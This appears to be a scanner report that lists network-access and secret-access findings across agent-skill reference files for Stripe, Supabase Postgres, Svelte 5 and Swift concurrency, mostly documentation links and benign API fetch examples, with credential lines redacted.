    Encourage users to [configure access policies](https://docs.stripe.com/keys.md#access-policies) for every API key. Access policies restrict who can use keys, limiting damage even if a key is stolen.
  • Network accessline 71
    If a key is exposed or compromised, follow [protecting against compromised API keys](https://support.stripe.com/questions/protecting-against-compromised-api-keys), which can be summarized as:
  • Network accessline 73
    1. **Roll the key immediately** — go to the [API keys page](https://dashboard.stripe.com/apikeys) and roll or delete the exposed key. Do this even if you are unsure whether the key was actually used by an unauthorized party.
  • Network accessline 77
    To prepare before an incident: practice rolling keys, audit source code for any committed keys, and use pre-commit hooks to prevent accidental key check-ins. See [protecting against compromised API keys](https://support.stripe.com/questions
  • Network accessline 81
    Before processing any webhook event, always [verify the webhook signature](https://docs.stripe.com/webhooks.md#verify-events) using Stripe’s webhook signing secret. Signature verification is a strong guarantee that requests are genuinely fr
  • Network accessline 83
    For defense in depth, also [allowlist Stripe’s IP addresses](https://docs.stripe.com/ips.md) on your webhook endpoint so that it accepts connections only from Stripe’s infrastructure.
  • Network accessline 87
    Add a `Content-Security-Policy` header to every web app that loads Stripe.js or uses Stripe’s hosted UIs. See [Stripe’s integration security guide](https://docs.stripe.com/security/guide.md) for the full list of CSP directives to use depend
  • Network accessline 95
    For cases where a client must interact directly with Stripe, use [ephemeral keys](https://docs.stripe.com/issuing/elements.md#ephemeral-key-authentication). Ephemeral keys are short-lived, scoped to a specific resource, and expire automatic
  • Network accessline 101
    When implementing [Connect OAuth flows](https://docs.stripe.com/connect/oauth-reference.md), always use the `state` parameter to protect against CSRF attacks. Generate a unique, unguessable value for `state` per request and verify it in the
  • Network accessline 107
    Recommend [passkeys or authenticator apps](https://docs.stripe.com/security.md) rather than SMS-based 2FA for Stripe Dashboard access. SMS 2FA is vulnerable to SIM-swapping attacks in which the user’s phone provider transfers their number t
  • Network accessline 115
    **Connect onboarding:** Use [Stripe-hosted onboarding](https://docs.stripe.com/connect/onboarding.md) rather than building a custom onboarding flow. Custom onboarding requires your platform to collect and handle sensitive PII directly, whic
  • Network accessline 119
    For teams managing Dashboard access, recommend [SSO via SAML](https://docs.stripe.com/get-started/account/sso.md) to federate authentication with an existing identity provider (Okta, Google, etc.). SSO centralizes access control and simplif
  • Network accessline 121
    [SCIM provisioning](https://docs.stripe.com/get-started/account/sso/scim.md) automates user provisioning and deprovisioning, ensuring that employees who leave the organization lose Dashboard access promptly.

packages/autoskills/skills-registry/stripe-best-practices/references/tax.md

  • Network accessline 23
    **What Stripe Tax does:** tax calculation, nexus threshold monitoring (Dashboard → Tax → Locations → “Needs attention” and email alerts), registration on the user’s behalf for eligible US remote sellers (“Register for me”; see Registration 
  • Network accessline 25
    **What Stripe Tax doesn’t do:** process payments that happen outside Stripe, automatically file every tax return, or support every jurisdiction (check the [supported countries list](https://docs.stripe.com/tax/supported-countries.md) for cu
  • Network accessline 31
    Use Stripe Tax for any subscription, invoice, or Checkout Session where the user has customers across multiple jurisdictions. It handles sales tax, VAT, and GST based on the customer’s location and the user’s active registrations. See the [
  • Network accessline 35
    **If you have execution access** (MCP tools or the Stripe CLI with a valid token), read the account’s current Tax Settings first — the [Tax Settings API](https://docs.stripe.com/api/tax/settings.md) or Dashboard → Tax → Settings — before yo
  • Network accessline 37
    1. Set a head office address in Tax Settings (Dashboard → Tax → Settings). If you attempt to add any registrations without it, you get an `invalid_request_error`. The settings `status` property returns `pending` until the head office addres
  • Network accessline 38
    2. Add a registration for each jurisdiction where the user is obligated to collect tax, using the [Tax Registrations API](https://docs.stripe.com/api/tax/registrations.md) or the [Dashboard](https://docs.stripe.com/tax/registering.md). Afte
  • Network accessline 39
    3. Pass `automatic_tax: { enabled: true }` on the [Subscription](https://docs.stripe.com/api/subscriptions.md), [Invoice](https://docs.stripe.com/api/invoices.md), or [Checkout Session](https://docs.stripe.com/api/checkout/sessions.md) obje
  • Network accessline 47
    **Traps to avoid:** `automatic_tax` can’t coexist with manual [tax_rates](https://docs.stripe.com/tax/tax-rates.md) (explicit rate objects) on the same object. Enabling it while any `default_tax_rates` or item-level `tax_rates` remain is re
  • Network accessline 49
    **EU VAT registrations:** Don’t choose a registration scheme from a general setup request. Direct the user to [tax guidance for the European Union](https://docs.stripe.com/tax/supported-countries/european-union.md) and their tax advisor to 
  • Network accessline 53
    After enabling `automatic_tax`, don’t assume the setup is complete: tax is only collected after the user has an active registration in the customer’s jurisdiction. Have the user confirm their registrations with the [Tax Registrations API](h
  • Network accessline 55
    **If you have execution access** (MCP tools or the Stripe CLI with a valid token), run a test [Tax Calculation](https://docs.stripe.com/api/tax/calculations.md) with a customer address in the target jurisdiction and the product’s tax code. 
  • Network accessline 58
    - Any other reason means the calculation worked, including when the tax is zero. Zero is *correct* for an exempt tax code or an exempt customer. Report the reason to the user and have them confirm with their tax advisor that it’s expected f
  • Network accessline 60
    - If you only have read or advisory access, don’t claim it’s verified. Point the user to [Testing Stripe Tax](https://docs.stripe.com/tax/testing.md) to run the check themselves in a sandbox.
  • Network accessline 64
    For subscriptions and invoices using Customer v1, Stripe uses the first viable source in this order: (1) shipping address, (2) billing address on the Customer object, (3) billing details from the most-specific payment method, and (4) custom
  • Network accessline 72
    - Never invent, guess, or hardcode a `txcd_` from memory. The exact value must come from Stripe’s canonical list: the [Tax Codes API](https://docs.stripe.com/api/tax_codes.md) or the [tax code guide](https://docs.stripe.com/tax/tax-codes.md
  • Network accessline 73
    - Don’t default to the generic **General - Electronically Supplied Services** (`txcd_10000000`) for US sales. It’s too broad for US state-level taxability; pick a specific digital or SaaS code. See [tax codes for digital products](https://d
  • Network accessline 74
    - Show the candidate codes and let the user confirm; don’t decide which code is legally correct for them. (Tax code goes on the Product, `tax_behavior` on the Price. See [product tax codes and tax behavior](https://docs.stripe.com/tax/produ
  • Network accessline 75
    - When you tell the user which code you set or recommend, link the [Tax Codes API](https://docs.stripe.com/api/tax_codes.md) or the [tax code guide](https://docs.stripe.com/tax/tax-codes.md) in the same response, in addition to the `txcd_` 
  • Network accessline 81
    The reason worth calling out is **`not_collecting`, which is ambiguous**: it means either **no active registration** in the customer’s jurisdiction (the usual cause; check registrations with the [Tax Registrations API](https://docs.stripe.c
  • Network accessline 83
    For all other `taxability_reason` values — `reverse_charge`, `customer_exempt`, `not_subject_to_tax`, `product_exempt`, `zero_rated`, `vat_exempt`, `standard_rated` — see [Zero tax amounts and reverse charges](https://docs.stripe.com/tax/ze
  • Network accessline 93
    Don’t promise that a configuration change will correct completed transactions. Use [tax reports](https://docs.stripe.com/tax/reports.md) to understand recorded activity, and direct questions about historical obligations to the user’s tax ad
  • Network accessline 97
    Identify the integration before explaining a refund. Stripe Tax doesn’t have one refund behavior for every integration. For PaymentIntents, [the simplified Stripe Tax integration](https://docs.stripe.com/tax/payment-intent/simplified.md) au
  • Network accessline 101
    Every integration needs a resolvable customer address and an active registration in that jurisdiction. It also needs a product tax code and a `tax_behavior`, set on the product/price, or falling back to the account’s [preset tax code and de
  • Network accessline 103
    - **Checkout Sessions**: set `automatic_tax: { enabled: true }`. For a new customer, Checkout collects the address it needs, so don’t force `billing_address_collection: 'required'` (unnecessary for tax, and it adds checkout friction). For a
  • Network accessline 104
    - **Invoices**: set `automatic_tax: { enabled: true }` on the invoice; the customer needs a saved address. See the [Invoices API](https://docs.stripe.com/api/invoices.md).
  • Network accessline 105
    - **Subscriptions**: set `automatic_tax: { enabled: true }`; clear existing `tax_rates` first (see Traps to avoid). See the [Subscriptions API](https://docs.stripe.com/api/subscriptions.md).
  • Network accessline 106
    - **Payment Links**: set `automatic_tax: { enabled: true }`. Collect customers’ addresses when more location precision is needed. The Dashboard’s address-collection setting is optional; follow [the Payment Links guide](https://docs.stripe.c
  • Network accessline 107
    - **Custom PaymentIntents**: there’s no `automatic_tax` field, so this path is easy to under-build. Create a [tax calculation](https://docs.stripe.com/api/tax/calculations.md) with the customer’s address, set the PaymentIntent `amount` to t
  • Network accessline 109
    For B2B or reverse-charge treatment, collect the customer’s tax ID (`tax_id_collection: { enabled: true }` on Checkout, or store it on the [Customer](https://docs.stripe.com/billing/customer/tax-ids.md)). Without a valid tax ID, Stripe Tax 
  • Network accessline 113
    For a Connect platform or marketplace, first determine which entity collects and remits the tax: the platform or the connected account. This is a legal determination, so route the final call to the user’s tax advisor rather than inferring i
  • Network accessline 117
    - Set the liable entity with `automatic_tax.liability` on Checkout, Invoices, Subscriptions, or Payment Links: `{ type: 'self' }` uses the platform’s tax settings and registrations, while `{ type: 'account', account: '<id>' }` uses the conn
  • Network accessline 118
    - Registrations and tax settings belong to the liable entity. When the connected account is liable, confirm its [tax settings](https://docs.stripe.com/tax/settings-api.md) `status` is `active` before enabling `automatic_tax` on its payments
  • Network accessline 124
    The [threshold monitoring](https://docs.stripe.com/tax/monitoring.md) tool highlights *potential* registration obligations in Dashboard → Tax → Locations → Needs attention. Stripe sends email and Dashboard alerts. The public guide documents
  • Network accessline 132
    - The [Tax Registrations API](https://docs.stripe.com/api/tax/registrations.md) can list, create, update, and expire registrations (set `expires_at` to expire; there’s no delete). A scheduled expiration can be changed, but an expiration tha
  • Network accessline 138
    - **Register themselves, then record it in Stripe**: the user registers directly with the relevant tax authority and obtains their registration number. Then they add the registration in Stripe using that number through the [Tax Registration
  • Network accessline 139
    - **Ask Stripe to register (US only)**: with Registration as a Service (“Register for me”), Stripe submits the registration to the tax authority and adds the completed registration to the Dashboard, so the user doesn’t record it separately.
  • Network accessline 140
    - **Register outside the US with Taxually**: Taxually can help businesses register with local tax authorities outside the United States. Availability varies by country and plan, so direct the user to [Register outside the US with Taxually](
  • Network accessline 142
    **Reporting and filing.** Collecting with Stripe Tax doesn’t file a return by itself. Use [TaxJar filing](https://docs.stripe.com/tax/file-with-stripe.md) for US sales tax or [a filing partner](https://docs.stripe.com/tax/filing.md) where a
  • Network accessline 153
    Don’t guess which jurisdictions apply or add a registration without confirmation that the business is registered with the tax authority. Ask where the business sells, direct the user to their tax advisor when needed, then help them record c
  • Network accessline 157
    Check the [supported countries list](https://docs.stripe.com/tax/supported-countries.md). If the jurisdiction isn’t listed, tell the user:

packages/autoskills/skills-registry/stripe-best-practices/references/treasury.md

  • Network accessline 10
    For embedded financial accounts (bank accounts, account and routing numbers, money movement), use the [v2 Financial Accounts API](https://docs.stripe.com/api/v2/core/vault/financial-accounts.md) (`POST /v2/core/vault/financial_accounts`). T
  • Network accessline 12
    For Treasury for platforms concepts and guides, see the [Treasury for platforms overview](https://docs.stripe.com/treasury/connect.md).
  • Network accessline 16
    Don’t use the [v1 Treasury Financial Accounts API](https://docs.stripe.com/api/treasury/financial_accounts.md) (`POST /v1/treasury/financial_accounts`) for new integrations. Existing v1 integrations continue to work.

packages/autoskills/skills-registry/supabase-postgres-best-practices/CHANGELOG.md

  • Network accessline 3
    ## [1.6.0](https://github.com/supabase/agent-skills/compare/supabase-postgres-best-practices-v1.5.0...supabase-postgres-best-practices-v1.6.0) (2026-07-30)
  • Network accessline 8
    * add schema-constraints reference for safe migration patterns ([#30](https://github.com/supabase/agent-skills/issues/30)) ([9b236f3](https://github.com/supabase/agent-skills/commit/9b236f3ebd65d76a2c570f19931353da9c858d5a))
  • Network accessline 9
    * using Supabase agent skills ([#12](https://github.com/supabase/agent-skills/issues/12)) ([7c2e389](https://github.com/supabase/agent-skills/commit/7c2e3894fddfde8eb6c77d2a8921904543b9be7a))
  • Network accessline 14
    * correct broken reference link in postgres best practices skill ([#58](https://github.com/supabase/agent-skills/issues/58)) ([f4e2277](https://github.com/supabase/agent-skills/commit/f4e22777fd8573537297b568c16e5a45a25927da))
  • Network accessline 15
    * cover SECURITY DEFINER, auth.role() deprecation, and BOLA in security checklist ([#85](https://github.com/supabase/agent-skills/issues/85)) ([133f43e](https://github.com/supabase/agent-skills/commit/133f43e8c2ffc48823ff0630c692cabecea3e3a
  • Network accessline 16
    * **supabase-postgres-best-practices:** make skill description trigger-rich ([#194](https://github.com/supabase/agent-skills/issues/194)) ([3291216](https://github.com/supabase/agent-skills/commit/32912161e2732c3e5001c6811a76c1f8308ed0da))
  • Network accessline 18
    ## [1.5.0](https://github.com/supabase/agent-skills/compare/supabase-postgres-best-practices-v1.4.0...supabase-postgres-best-practices-v1.5.0) (2026-07-30)
  • Network accessline 23
    * add schema-constraints reference for safe migration patterns ([#30](https://github.com/supabase/agent-skills/issues/30)) ([9b236f3](https://github.com/supabase/agent-skills/commit/9b236f3ebd65d76a2c570f19931353da9c858d5a))
  • Network accessline 24
    * using Supabase agent skills ([#12](https://github.com/supabase/agent-skills/issues/12)) ([7c2e389](https://github.com/supabase/agent-skills/commit/7c2e3894fddfde8eb6c77d2a8921904543b9be7a))
  • Network accessline 29
    * correct broken reference link in postgres best practices skill ([#58](https://github.com/supabase/agent-skills/issues/58)) ([f4e2277](https://github.com/supabase/agent-skills/commit/f4e22777fd8573537297b568c16e5a45a25927da))
  • Network accessline 30
    * cover SECURITY DEFINER, auth.role() deprecation, and BOLA in security checklist ([#85](https://github.com/supabase/agent-skills/issues/85)) ([133f43e](https://github.com/supabase/agent-skills/commit/133f43e8c2ffc48823ff0630c692cabecea3e3a
  • Network accessline 31
    * **supabase-postgres-best-practices:** make skill description trigger-rich ([#194](https://github.com/supabase/agent-skills/issues/194)) ([3291216](https://github.com/supabase/agent-skills/commit/32912161e2732c3e5001c6811a76c1f8308ed0da))
  • Network accessline 33
    ## [1.4.0](https://github.com/supabase/agent-skills/compare/v1.3.0...v1.4.0) (2026-07-10)
  • Network accessline 38
    * add schema-constraints reference for safe migration patterns ([#30](https://github.com/supabase/agent-skills/issues/30)) ([9b236f3](https://github.com/supabase/agent-skills/commit/9b236f3ebd65d76a2c570f19931353da9c858d5a))
  • Network accessline 39
    * using Supabase agent skills ([#12](https://github.com/supabase/agent-skills/issues/12)) ([7c2e389](https://github.com/supabase/agent-skills/commit/7c2e3894fddfde8eb6c77d2a8921904543b9be7a))
  • Network accessline 44
    * correct broken reference link in postgres best practices skill ([#58](https://github.com/supabase/agent-skills/issues/58)) ([f4e2277](https://github.com/supabase/agent-skills/commit/f4e22777fd8573537297b568c16e5a45a25927da))
  • Network accessline 45
    * cover SECURITY DEFINER, auth.role() deprecation, and BOLA in security checklist ([#85](https://github.com/supabase/agent-skills/issues/85)) ([133f43e](https://github.com/supabase/agent-skills/commit/133f43e8c2ffc48823ff0630c692cabecea3e3a
  • Network accessline 47
    ## [1.3.0](https://github.com/supabase/agent-skills/compare/v1.2.0...v1.3.0) (2026-06-05)
  • Network accessline 52
    * add schema-constraints reference for safe migration patterns ([#30](https://github.com/supabase/agent-skills/issues/30)) ([9b236f3](https://github.com/supabase/agent-skills/commit/9b236f3ebd65d76a2c570f19931353da9c858d5a))
  • Network accessline 53
    * using Supabase agent skills ([#12](https://github.com/supabase/agent-skills/issues/12)) ([7c2e389](https://github.com/supabase/agent-skills/commit/7c2e3894fddfde8eb6c77d2a8921904543b9be7a))
  • Network accessline 58
    * correct broken reference link in postgres best practices skill ([#58](https://github.com/supabase/agent-skills/issues/58)) ([f4e2277](https://github.com/supabase/agent-skills/commit/f4e22777fd8573537297b568c16e5a45a25927da))
  • Network accessline 59
    * cover SECURITY DEFINER, auth.role() deprecation, and BOLA in security checklist ([#85](https://github.com/supabase/agent-skills/issues/85)) ([133f43e](https://github.com/supabase/agent-skills/commit/133f43e8c2ffc48823ff0630c692cabecea3e3a
  • Network accessline 61
    ## [1.2.0](https://github.com/supabase/agent-skills/compare/v1.1.1...v1.2.0) (2026-06-02)
  • Network accessline 66
    * add schema-constraints reference for safe migration patterns ([#30](https://github.com/supabase/agent-skills/issues/30)) ([9b236f3](https://github.com/supabase/agent-skills/commit/9b236f3ebd65d76a2c570f19931353da9c858d5a))
  • Network accessline 67
    * using Supabase agent skills ([#12](https://github.com/supabase/agent-skills/issues/12)) ([7c2e389](https://github.com/supabase/agent-skills/commit/7c2e3894fddfde8eb6c77d2a8921904543b9be7a))
  • Network accessline 72
    * correct broken reference link in postgres best practices skill ([#58](https://github.com/supabase/agent-skills/issues/58)) ([f4e2277](https://github.com/supabase/agent-skills/commit/f4e22777fd8573537297b568c16e5a45a25927da))
  • Network accessline 73
    * cover SECURITY DEFINER, auth.role() deprecation, and BOLA in security checklist ([#85](https://github.com/supabase/agent-skills/issues/85)) ([133f43e](https://github.com/supabase/agent-skills/commit/133f43e8c2ffc48823ff0630c692cabecea3e3a

packages/autoskills/skills-registry/supabase-postgres-best-practices/SKILL.md

  • Network accessline 60
    - https://www.postgresql.org/docs/current/
  • Network accessline 61
    - https://supabase.com/docs
  • Network accessline 62
    - https://wiki.postgresql.org/wiki/Performance_Optimization
  • Network accessline 63
    - https://supabase.com/docs/guides/database/overview
  • Network accessline 64
    - https://supabase.com/docs/guides/auth/row-level-security

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/_contributing.md

  • Network accessline 150
    Reference: [Postgres Indexes](https://www.postgresql.org/docs/current/indexes.html)
  • Network accessline 151
    [Postgres Indexes](https://www.postgresql.org/docs/current/indexes.html)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/_template.md

  • Network accessline 34
    Reference: [Postgres Docs](https://www.postgresql.org/docs/current/)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/advanced-full-text-search.md

  • Network accessline 55
    Reference: [Full Text Search](https://supabase.com/docs/guides/database/full-text-search)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/advanced-jsonb-indexing.md

  • Network accessline 49
    Reference: [JSONB Indexes](https://www.postgresql.org/docs/current/datatype-json.html#JSON-INDEXING)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/conn-idle-timeout.md

  • Network accessline 46
    Reference: [Connection Timeouts](https://www.postgresql.org/docs/current/runtime-config-client.html#GUC-IDLE-IN-TRANSACTION-SESSION-TIMEOUT)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/conn-limits.md

  • Network accessline 44
    Reference: [Database Connections](https://supabase.com/docs/guides/platform/performance#connection-management)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/conn-pooling.md

  • Network accessline 41
    Reference: [Connection Pooling](https://supabase.com/docs/guides/database/connecting-to-postgres#connection-pooler)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/conn-prepared-statements.md

  • Network accessline 46
    Reference: [Prepared Statements with Pooling](https://supabase.com/docs/guides/database/connecting-to-postgres#connection-pool-modes)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/data-batch-inserts.md

  • Network accessline 54
    Reference: [COPY](https://www.postgresql.org/docs/current/sql-copy.html)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/data-n-plus-one.md

  • Network accessline 53
    Reference: [N+1 Query Problem](https://supabase.com/docs/guides/database/query-optimization)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/data-pagination.md

  • Network accessline 50
    Reference: [Pagination](https://supabase.com/docs/guides/database/pagination)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/data-upsert.md

  • Network accessline 50
    Reference: [INSERT ON CONFLICT](https://www.postgresql.org/docs/current/sql-insert.html#SQL-ON-CONFLICT)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/lock-advisory.md

  • Network accessline 56
    Reference: [Advisory Locks](https://www.postgresql.org/docs/current/explicit-locking.html#ADVISORY-LOCKS)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/lock-deadlock-prevention.md

  • Network accessline 67
    Reference: [Deadlocks](https://www.postgresql.org/docs/current/explicit-locking.html#LOCKING-DEADLOCKS)
  • Network accessline 68
    [Deadlocks](https://www.postgresql.org/docs/current/explicit-locking.html#LOCKING-DEADLOCKS)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/lock-short-transactions.md

  • Network accessline 50
    Reference: [Transaction Management](https://www.postgresql.org/docs/current/tutorial-transactions.html)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/lock-skip-locked.md

  • Network accessline 54
    Reference: [SELECT FOR UPDATE SKIP LOCKED](https://www.postgresql.org/docs/current/sql-select.html#SQL-FOR-UPDATE-SHARE)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/monitor-explain-analyze.md

  • Network accessline 45
    Reference: [EXPLAIN](https://supabase.com/docs/guides/database/inspect)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/monitor-pg-stat-statements.md

  • Network accessline 55
    Reference: [pg_stat_statements](https://supabase.com/docs/guides/database/extensions/pg_stat_statements)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/monitor-vacuum-analyze.md

  • Network accessline 55
    Reference: [VACUUM](https://supabase.com/docs/guides/database/database-size#vacuum-operations)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/query-composite-indexes.md

  • Network accessline 44
    Reference: [Multicolumn Indexes](https://www.postgresql.org/docs/current/indexes-multicolumn.html)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/query-covering-indexes.md

  • Network accessline 40
    Reference: [Index-Only Scans](https://www.postgresql.org/docs/current/indexes-index-only-scans.html)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/query-index-types.md

  • Network accessline 48
    Reference: [Index Types](https://www.postgresql.org/docs/current/indexes-types.html)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/query-missing-indexes.md

  • Network accessline 43
    Reference: [Query Optimization](https://supabase.com/docs/guides/database/query-optimization)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/query-partial-indexes.md

  • Network accessline 45
    Reference: [Partial Indexes](https://www.postgresql.org/docs/current/indexes-partial.html)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/schema-constraints.md

  • Network accessline 80
    Reference: [Constraints](https://www.postgresql.org/docs/current/ddl-constraints.html)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/schema-data-types.md

  • Network accessline 46
    Reference: [Data Types](https://www.postgresql.org/docs/current/datatype.html)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/schema-foreign-key-indexes.md

  • Network accessline 59
    Reference: [Foreign Keys](https://www.postgresql.org/docs/current/ddl-constraints.html#DDL-CONSTRAINTS-FK)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/schema-lowercase-identifiers.md

  • Network accessline 55
    Reference: [Identifiers and Key Words](https://www.postgresql.org/docs/current/sql-syntax-lexical.html#SQL-SYNTAX-IDENTIFIERS)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/schema-partitioning.md

  • Network accessline 55
    Reference: [Table Partitioning](https://www.postgresql.org/docs/current/ddl-partitioning.html)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/schema-primary-keys.md

  • Network accessline 60
    Reference: [Identity Columns](https://www.postgresql.org/docs/current/sql-createtable.html#SQL-CREATETABLE-PARMS-GENERATED-IDENTITY)
  • Network accessline 61
    [Identity Columns](https://www.postgresql.org/docs/current/sql-createtable.html#SQL-CREATETABLE-PARMS-GENERATED-IDENTITY)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/security-privileges.md

  • Network accessline 54
    Reference: [Roles and Privileges](https://supabase.com/blog/postgres-roles-and-privileges)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/security-rls-basics.md

  • Network accessline 50
    Reference: [Row Level Security](https://supabase.com/docs/guides/database/postgres/row-level-security)

packages/autoskills/skills-registry/supabase-postgres-best-practices/references/security-rls-performance.md

  • Network accessline 63
    Reference: [RLS Performance](https://supabase.com/docs/guides/database/postgres/row-level-security#rls-performance-recommendations)

packages/autoskills/skills-registry/svelte5-best-practices/references/migration.md

  • Network accessline 312
    try {     const res = await fetch('/api/data');
  • Network accessline 313
    const res = await fetch('/api/data');

packages/autoskills/skills-registry/svelte5-best-practices/references/performance.md

  • Network accessline 220
    export const load = async ({ fetch }) => {   const user = await fetch('/api/user').then(r => r.json());     // 1s
  • Network accessline 221
    const user = await fetch('/api/user').then(r => r.json());     // 1s
  • Network accessline 222
    const posts = await fetch(`/api/users/${user.id}/posts`).then(r => r.json()); // 1s
  • Network accessline 223
    const comments = await fetch('/api/comments').then(r => r.json()); // 1s
  • Network accessline 232
    export const load = async ({ fetch }) => {   const [user, posts, comments] = await Promise.all([     fetch('/api/user').then(r => r.json()),
  • Network accessline 233
    const [user, posts, comments] = await Promise.all([     fetch('/api/user').then(r => r.json()),     fetch('/api/posts').then(r => r.json()),
  • Network accessline 234
    fetch('/api/user').then(r => r.json()),
  • Network accessline 235
    fetch('/api/posts').then(r => r.json()),
  • Network accessline 236
    fetch('/api/comments').then(r => r.json())
  • Network accessline 245
    export const load = async ({ fetch }) => {   const user = await fetch('/api/user').then(r => r.json());
  • Network accessline 246
    const user = await fetch('/api/user').then(r => r.json());
  • Network accessline 248
    const [posts, followers] = await Promise.all([     fetch(`/api/users/${user.id}/posts`).then(r => r.json()),
  • Network accessline 249
    fetch(`/api/users/${user.id}/posts`).then(r => r.json()),
  • Network accessline 250
    fetch(`/api/users/${user.id}/followers`).then(r => r.json())
  • Network accessline 260
    export const load = async ({ fetch }) => {   const user = await fetch('/api/user').then(r => r.json());
  • Network accessline 261
    const user = await fetch('/api/user').then(r => r.json());
  • Network accessline 263
    return {     user,     recommendations: fetch('/api/recommendations').then(r => r.json()),
  • Network accessline 264
    user,     recommendations: fetch('/api/recommendations').then(r => r.json()),     analytics: fetch('/api/analytics').then(r => r.json())
  • Network accessline 265
    recommendations: fetch('/api/recommendations').then(r => r.json()),
  • Network accessline 266
    analytics: fetch('/api/analytics').then(r => r.json())
  • Network accessline 289
    export const load = async ({ fetch }) => {   const user = await fetch('/api/user').then(r => r.json());     // 100ms
  • Network accessline 290
    const user = await fetch('/api/user').then(r => r.json());     // 100ms
  • Network accessline 291
    const analytics = await fetch('/api/analytics').then(r => r.json()); // 2000ms
  • Network accessline 298
    export const load = async ({ fetch }) => {   const user = await fetch('/api/user').then(r => r.json());
  • Network accessline 299
    const user = await fetch('/api/user').then(r => r.json());
  • Network accessline 300
    const analytics = fetch('/api/analytics').then(r => r.json()); // Don't await

packages/autoskills/skills-registry/svelte5-best-practices/references/sveltekit.md

  • Network accessline 28
    // +page.js - DANGEROUS: runs in browser! export const load = async ({ fetch }) => {   const response = await fetch('https://api.stripe.com/charges', {
  • Network accessline 29
    [Credential-related source omitted]
  • Network accessline 30
    const response = await fetch('https://api.stripe.com/charges', {
  • Access to secretsline 31
    [Credential-related source omitted]
  • Network accessline 42
    export const load = async ({ fetch }) => {   const response = await fetch('https://api.stripe.com/charges', {
  • Network accessline 43
    const response = await fetch('https://api.stripe.com/charges', {
  • Access to secretsline 44
    [Credential-related source omitted]

packages/autoskills/skills-registry/swift-concurrency/SKILL.md

  • Network accessline 211
    **Note**: This skill is based on the comprehensive [Swift Concurrency Course](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=skill-footer) by Antoine van der Lee.

packages/autoskills/skills-registry/swift-concurrency/references/actors.md

  • Network accessline 41
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 5.1: Understanding actors in Swift Concurrency](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 139
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 5.2: An introduction to Global Actors](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 190
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 5.3: When and how to use @MainActor](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 293
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 5.4: Isolated vs. non-isolated access in actors](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 311
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 5.5: Using Isolated synchronous deinit](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 333
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 5.6: Adding isolated conformance to protocols](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 424
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 5.7: Understanding actor reentrancy](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 483
    **Why `_ = isolation` is required**: Per [SE-0420](https://github.com/swiftlang/swift-evolution/blob/main/proposals/0420-inheritance-of-actor-isolation.md), `Task` closures only inherit isolation when "a non-optional binding of an isolated 
  • Network accessline 492
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 5.8: Inheritance of actor isolation using the #isolation macro](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference
  • Network accessline 539
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 5.9: Using a custom actor executor](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 611
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 5.10: Using a Mutex as an alternative to actors](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 700
    For migration strategies, advanced patterns, and real-world examples, see [Swift Concurrency Course](https://www.swiftconcurrencycourse.com).

packages/autoskills/skills-registry/swift-concurrency/references/async-algorithms.md

  • Network accessline 58
    > **See**: [AsyncAlgorithms on GitHub](https://github.com/apple/swift-async-algorithms)
  • Network accessline 82
    dependencies: [     .package(url: "https://github.com/apple/swift-async-algorithms", from: "1.0.0")
  • Network accessline 83
    .package(url: "https://github.com/apple/swift-async-algorithms", from: "1.0.0")
  • Network accessline 844
    - [AsyncAlgorithms Documentation](https://github.com/apple/swift-async-algorithms)

